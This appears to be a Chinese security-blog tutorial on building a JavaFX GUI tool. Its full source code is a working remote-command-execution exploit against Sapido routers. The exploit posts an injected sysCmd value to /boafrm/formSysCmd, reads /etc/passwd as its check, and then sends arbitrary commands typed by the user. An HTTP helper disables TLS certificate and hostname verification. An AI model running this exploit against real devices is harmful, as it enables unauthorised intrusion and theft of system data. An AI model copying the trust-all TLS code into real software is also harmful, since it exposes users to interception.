JAVA-GUI工具的编写-----事件篇

admin 2022年12月7日15:01:05评论33 views字数 12877阅读42分55秒阅读模式

上一节介绍了HTTP以及HTTPS请求,那么这里我们就接着讲解事件与请求联动。

关于POC以及EXP最大的区别就是,EXP是附带利用功能,而POC仅仅是检测功能,所以这里我们需要动起来,GUI小工具能用上的事件功能其实就两个,一个是下拉列表的事件,一个是按钮点击事件,我们接着看

首先新增一个Sapido的类,用来默认测试命令执行漏洞,默认执行查看/etc/passwd命令,这里面其实可以写活的,用我上次讲的,给他接一个形参cmd用来接收命令参数,然后在检测的时候给他一个默认值,利用的时候重新调用这个方法,再给他一个新的实参,就可以达到我们的预期效果,但是没有太大的必要,这里为了方便我们的讲解,我们先这么写,然后在执行我们想要的命令的时候我会给大家介绍,如何把这个参数写活

import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.select.Elements;
import java.net.URL;
public class Sapido { public static String Sapido(String target) throws Exception { URL url = new URL(target); //new一下url String cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg="); //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死 Document doc = Jsoup.parse(cmd_res); //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值 Elements rows = doc.select("textarea[name=msg]"); //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了 String tim = rows.text(); //转换一下格式类型 return "执行结果如下:" + "n" + tim; //return一下 }}


我们返回我们的框架GUIDemo.java,我们需要新增如下代码

final String[] name = {null};   //用来对接下拉列表的值        //设置下拉列表监听事件        choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {
public void changed(ObservableValue ov, Number value, Number new_value) { String ChoiceBox_Name = strings[new_value.intValue()]; //做一个变量接一下下拉列表的值 textArea1.setText(strings[new_value.intValue()]); //纯偷窥一下接受到的值 name[0] = ChoiceBox_Name; //赋值 } }); //添加按钮功能 button.setOnAction(event -> { String url = textArea.getText(); //接收url boolean sapido = name[0].equalsIgnoreCase("Sapido RCE"); //直接用布尔类型对比参数是否与下拉列表的值相同 if (sapido) { try { String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量 textArea1.setText(sapidotext); //将sapidotext变量的值返回给textArea1 button1.setOnAction(event1 -> { }); } catch (Exception e) { textArea1.setText("未发现漏洞,或请求异常"); } }else { textArea1.setText("未发现漏洞,或请求异常"); } });


我们看一下漏洞检测效果

JAVA-GUI工具的编写-----事件篇

此时已经完成了POC的玩法,我们接下来实现EXP功能,自定义命令输入,其实就是在检测成功的基础上增加一个按钮功能,没错,就是执行按钮的功能

if (sapido) {                try {                    String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量                    textArea1.setText(sapidotext);  //将sapidotext变量的值返回给textArea1                    button1.setOnAction(event1 -> {                        String cmd = textArea2.getText();   //接收textArea2的命令                        String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd);  //字符串替换命令                        try {                            String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command);    //调用一下                            Document doc = Jsoup.parse(Run);                            Elements rows = doc.select("textarea[name=msg]");                            String tim = rows.text();                            textArea1.setText(sapidotext + "n" + "执行结果如下:" + "n" + tim);                        } catch (Exception e) {                            throw new RuntimeException(e);                        }                    });


我们看一下执行效果

JAVA-GUI工具的编写-----事件篇


肥畅nice,我们打包一下,爽一把

JAVA-GUI工具的编写-----事件篇

JAVA-GUI工具的编写-----事件篇


完整代码:

GuiDemo.java

import javafx.application.Application;import javafx.beans.value.ChangeListener;import javafx.beans.value.ObservableValue;import javafx.collections.FXCollections;import javafx.scene.Scene;import javafx.scene.control.Button;import javafx.scene.control.ChoiceBox;import javafx.scene.control.Label;import javafx.scene.control.TextArea;import javafx.scene.image.Image;import javafx.scene.layout.AnchorPane;import javafx.stage.Stage;import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.select.Elements;
public class GuiDemo extends Application { //创建一个GuiDemo类,GuiDemo继承Application类 public void start(Stage GuiDemo) { //创建一个无返回的start方法,Stage GuiDemo是JAVAFX里面的一个属性 //设置title GuiDemo.setTitle("GUI小DEMO by:vlan911 "); //设置小工具的标题 GuiDemo.setMaxWidth(700); //设置小工具的最大宽度 GuiDemo.setMaxHeight(500); //设置小工具的最大高度
//设置icon GuiDemo.getIcons().add(new Image("22.jpg")); //设置GUI的小图标,图标需要放在classes目录下或是网上的在线图片
//添加URL文字提示 Label l = new Label("请输入URL"); //设置一个lable,用来显示提示文字 l.setLayoutX(5); //设置lable的横坐标 l.setLayoutY(10); //设置lable的纵坐标 l.setPrefWidth(70); //设置lable的宽度 l.setPrefHeight(20); //设置lable的高度
//添加URL文本框 TextArea textArea = new TextArea(); //添加一哥文本框,用来接收URL textArea.setLayoutX(75); //设置文本框的横坐标 textArea.setLayoutY(5); //设置文本框的纵坐标 textArea.setPrefWidth(220); //设置文本框的宽度 textArea.setPrefHeight(20); //设置文本框的高度
//添加下拉按钮 String strings[] = {"Kyan RCE", "Sapido RCE", "Vigor 2960 RCE"}; //添加一个字符串数组 ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(strings)); //添加一个下拉列表,内容就是上面的字符串数组 choiceBox.setLayoutX(315); //设置下拉列表的横坐标 choiceBox.setLayoutY(10); //设置下拉列表的纵坐标 choiceBox.setPrefHeight(20); //设置下拉列表的高度 choiceBox.setPrefWidth(70); //设置下拉列表的宽度
//添加确定按钮 Button button = new Button("确定"); //添加一个按钮 button.setLayoutX(405); //设置按钮的横坐标 button.setLayoutY(10); //设置按钮的纵坐标 button.setPrefHeight(20); //设置按钮的高度 button.setPrefWidth(50); //设置按钮的宽度
//添加回显文本框 TextArea textArea1 = new TextArea(); //添加一个回显文本框 textArea1.setLayoutX(5); //设置文本框的横坐标 textArea1.setLayoutY(100); //设置文本框的纵坐标 textArea1.setPrefHeight(300); //设置文本框的高度 textArea1.setPrefWidth(500); //设置文本框的宽度
textArea1.setWrapText(true); //设置文本框里的文字自动换行 textArea1.setText("Kyan信息泄露漏洞n" + "Kyan命令注入漏洞n" + "Sapido命令执行漏洞n" + "Vigor 2960命令执行n" + "博华网龙RCEn" + "西迪特WirelessRCE");

//添加执行命令文字提示 Label l1 = new Label("请输入命令"); l1.setLayoutX(5); l1.setLayoutY(62); l1.setPrefWidth(70); l1.setPrefHeight(20); //添加命令文本框 TextArea textArea2 = new TextArea(); textArea2.setLayoutX(75); textArea2.setLayoutY(55); textArea2.setPrefHeight(20); textArea2.setPrefWidth(220);
//添加执行按钮 Button button1 = new Button("执行"); button1.setLayoutX(315); button1.setLayoutY(62); button1.setPrefHeight(20); button1.setPrefWidth(50);
textArea2.setText("请输入命令...");
//添加一个pane,用来装填按钮等插件 AnchorPane anchorPane = new AnchorPane(); //添加一个pane,用来装后面的小插件 anchorPane.getChildren().addAll(textArea, choiceBox, button, l, textArea1, textArea2, l1, button1); //调用getChildren方法的addAll方法,写死就行,括号里的就是我们添加的插件名字 Scene scene = new Scene(anchorPane, 600, 700); //社子和Pane的默认宽度、高度,不能超过设置的窗口临界值 GuiDemo.setScene(scene); //把窗口的属性填进去 GuiDemo.show(); //显示窗口,否则运行的话是没有东西的
final String[] name = {null}; //用来对接下拉列表的值 //设置下拉列表监听事件 choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {
public void changed(ObservableValue ov, Number value, Number new_value) { String ChoiceBox_Name = strings[new_value.intValue()]; //做一个变量接一下下拉列表的值 textArea1.setText(strings[new_value.intValue()]); //纯偷窥一下接受到的值 name[0] = ChoiceBox_Name; //赋值 } }); //添加按钮功能 button.setOnAction(event -> { String url = textArea.getText(); //接收url boolean sapido = name[0].equalsIgnoreCase("Sapido RCE"); //直接用布尔类型对比参数是否与下拉列表的值相同 if (sapido) { try { String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量 textArea1.setText(sapidotext); //将sapidotext变量的值返回给textArea1 button1.setOnAction(event1 -> { String cmd = textArea2.getText(); //接收textArea2的命令 String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd); //字符串替换命令 try { String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command); //调用一下 Document doc = Jsoup.parse(Run); Elements rows = doc.select("textarea[name=msg]"); String tim = rows.text(); textArea1.setText(sapidotext + "n" + "执行结果如下:" + "n" + tim); } catch (Exception e) { throw new RuntimeException(e); } }); } catch (Exception e) { textArea1.setText("未发现漏洞,或请求异常"); } }else { textArea1.setText("未发现漏洞,或请求异常"); } });
}
public static void main(String[] args) { launch(args); }}


HttpRequest.java

import okhttp3.*;
import javax.net.ssl.*;import java.net.URL;
public class HttpRequest { //第一个方法是用来跳过证书校验环节的,是我copy过来的 public static OkHttpClient getUnsafeOkHttpClient() { try { final TrustManager[] trustAllCerts = new TrustManager[]{ new X509TrustManager() { @Override public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) { }
@Override public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) { }
@Override public java.security.cert.X509Certificate[] getAcceptedIssuers() { return new java.security.cert.X509Certificate[]{}; } } };
final SSLContext sslContext = SSLContext.getInstance("SSL"); sslContext.init(null, trustAllCerts, new java.security.SecureRandom()); final javax.net.ssl.SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory(); OkHttpClient.Builder builder = new OkHttpClient.Builder(); builder.sslSocketFactory(sslSocketFactory);
builder.hostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { return true; } });
return builder.build(); } catch (Exception e) { throw new RuntimeException(e); }
}

//因为更改了玩法,所以需要分开写post请求和get请求,这里的post请求我给他两个参数, // 分别是请求地址requestUrl以及请求body体outputStr,大家可以根据自己的实际需求增加,比如增加一个cookie,在get请求里会介绍 public static String http_post(String requestUrl, String outputStr) throws Exception { //首先给一个全局变量resquestbody,用来接收返回结果 String resquestbody = "";
try { //实例化URL,给requestUrl赋给url参数 URL url = new URL(requestUrl); //这里和第61行可以写一块,这么写仅仅是为了美观 Request request = null; //这个与第63行可以写一块,这么写仅仅是为了美观 RequestBody requestBody; //与StringBuilder有异曲同工之处,只可意会不可言传 Request.Builder builder = new Request.Builder(); //将请求的包加载进去,加载的时候必须跟上content-type属性 requestBody = RequestBody.create(MediaType.parse("application/x-www-form-urlencoded"), outputStr); //这里面用的其实是httpok的request方法,builder.get()并不是说是get请求,而是用来获取里面的参数 /* * url(url) 获取URL * post(requestBody) post方法,获取方法体 * addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;") 添加一个cookie * */ request = builder.get() .url(url) .post(requestBody) .addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;") .build();
//OkHttpClient okHttpClient = new OkHttpClient(); //注意,这里 是关键,不用这个https的依然会报错 OkHttpClient okHttpClient = getUnsafeOkHttpClient(); Response response; try { //接收请求,没什么可说的 response = okHttpClient.newCall(request).execute(); //System.out.println(response.body().string()); assert response.body() != null; //获取返回包的包体,和python挺像的,这里需要使用string()方法 resquestbody = resquestbody + response.body().string(); } catch (Exception e) { //log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace()); //System.out.println(e.getMessage()); //如果执行出错了,会打印异常日志,他和上面的是一起的,如果try里的全执行了就不会跑到这, // 如果try里面执行了一半挂了,依然会跑到这。感兴趣的小伙伴可以自己试验一下 resquestbody = e.getMessage(); } } catch (Exception e) { e.printStackTrace(); }
// System.out.println(resquestbody); return resquestbody; }
//为了方便演示,这里面给大家引入了一个新的session,其实就是如果我想把参数灵活起来用,应该怎么玩 public static String http_get(String requestUrl, String session) throws Exception { //依然是先给一个全局变量 String resquestbody = "";
try { //实例化一个新的url URL url = new URL(requestUrl); Request request = null; Request.Builder builder = new Request.Builder(); //老生常谈了,没啥可说的,cookie直接从局部变量接收就行,因为他是一个字符串,直接用也行 request = builder.get() .url(url) .get() .addHeader("Cookie", session) .build(); //OkHttpClient okHttpClient = new OkHttpClient(); OkHttpClient okHttpClient = getUnsafeOkHttpClient(); Response response; try { response = okHttpClient.newCall(request).execute(); assert response.body() != null; resquestbody = resquestbody + response.body().string();
//System.out.println(resquestbody); } catch (Exception e) { //log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace()); resquestbody = e.getMessage(); } } catch (Exception e) { e.printStackTrace(); } System.out.println(resquestbody); return resquestbody;    }}


Sapido.java

import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.select.Elements;
import java.net.URL;
public class Sapido { public static String Sapido(String target) throws Exception { URL url = new URL(target); //new一下url String cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg="); //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死 Document doc = Jsoup.parse(cmd_res); //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值 Elements rows = doc.select("textarea[name=msg]"); //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了 String tim = rows.text(); //转换一下格式类型 return "执行结果如下:" + "n" + tim; //return一下 }}


router.java

public class router {
public static void main(String[] args) { GuiDemo.main(args); }
}


pom.xml

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>newrouter</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency> <dependency> <groupId>org.jsoup</groupId> <artifactId>jsoup</artifactId> <version>1.15.3</version> </dependency> <dependency> <groupId>com.squareup.okio</groupId> <artifactId>okio</artifactId> <version>1.16.0</version> </dependency>
<dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>1.7.25</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-simple</artifactId> <version>2.0.3</version> <scope>compile</scope> </dependency>
<dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.30</version> </dependency> <dependency> <groupId>com.squareup.okhttp3</groupId> <artifactId>okhttp</artifactId> <version>4.9.3</version> </dependency> <dependency> <groupId>com.squareup.okhttp3</groupId> <artifactId>okhttp</artifactId> <version>3.10.0</version> </dependency>
<dependency> <groupId>com.squareup.okio</groupId> <artifactId>okio</artifactId> <version>1.13.0</version> </dependency> <dependency> <groupId>org.example</groupId> <artifactId>newrouter</artifactId> <version>1.0-SNAPSHOT</version> </dependency> <dependency> <groupId>org.openjfx</groupId> <artifactId>javafx-web</artifactId> <version>17.0.2</version> </dependency>
</dependencies>
</project>


完整代码结构截图

JAVA-GUI工具的编写-----事件篇

打包截图

JAVA-GUI工具的编写-----事件篇


完结了

原文始发于微信公众号(我不懂安全):JAVA-GUI工具的编写-----事件篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月7日15:01:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA-GUI工具的编写-----事件篇http://cn-sec.com/archives/1447599.html

发表评论

匿名网友 填写信息